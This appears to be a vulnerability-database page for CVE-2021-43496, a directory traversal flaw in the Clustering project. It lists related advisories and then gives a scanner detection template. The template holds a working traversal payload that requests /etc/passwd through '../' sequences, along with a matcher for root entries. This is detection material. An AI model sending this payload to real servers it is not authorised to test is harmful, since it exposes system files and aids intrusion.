| Reporter | Title | Published | Views | Family All 9 |
|---|---|---|---|---|
| CVE-2021-43496 | 12 Nov 202114:15 | – | attackerkb | |
| CVE-2021-43496 | 12 Nov 202116:39 | – | circl | |
| Clustering 路径遍历漏洞 | 12 Nov 202100:00 | – | cnnvd | |
| CVE-2021-43496 | 12 Nov 202113:36 | – | cve | |
| CVE-2021-43496 | 12 Nov 202113:36 | – | cvelist | |
| CVE-2021-43496 | 12 Nov 202114:15 | – | nvd | |
| Generic HTTP Directory Traversal / File Inclusion (Web Dirs) - Active Check | 22 Jul 202100:00 | – | openvas | |
| CVE-2021-43496 | 12 Nov 202114:15 | – | osv | |
| Directory traversal | 12 Nov 202114:15 | – | prion |
id: CVE-2021-43496
info:
name: Clustering Local File Inclusion
author: Evan Rubinstein
severity: high
description: Clustering master branch as of commit 53e663e259bcfc8cdecb56c0bb255bd70bfcaa70 is affected by a directory traversal vulnerability. This attack can cause the disclosure of critical secrets stored anywhere on the system and can significantly aid in getting remote code access.
impact: |
This vulnerability can result in unauthorized access to sensitive files and directories, as well as the execution of arbitrary code on the affected system.
remediation: |
Upgrade to the latest version to mitigate this vulnerability.
reference:
- https://github.com/varun-suresh/Clustering/issues/12
- https://nvd.nist.gov/vuln/detail/CVE-2021-43496
- https://github.com/StarCrossPortal/scalpel
- https://github.com/anonymous364872/Rapier_Tool
- https://github.com/apif-review/APIF_tool_2024
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
cvss-score: 7.5
cve-id: CVE-2021-43496
cwe-id: CWE-22
epss-score: 0.15689
epss-percentile: 0.96457
cpe: cpe:2.3:a:clustering_project:clustering:2019-07-26:*:*:*:*:*:*:*
metadata:
max-request: 1
vendor: clustering_project
product: clustering
tags: cve2021,cve,lfi,clustering,clustering_project,vuln
http:
- method: GET
path:
- "{{BaseURL}}/img/../../../../../../etc/passwd"
matchers:
- type: regex
part: body
regex:
- "root:.*:0:0:"
# digest: 4b0a00483046022100f45fb0ffe0afc5cce5e284a8ad69917779e5bcbffbca548d4260bf1f501d0a2702210094fc4378b161e7b94a5761bf7cce2decf2dd3b76665d4852f6eb8384c36dfb35:922c64590222798bb761d5b6d8e72950Data
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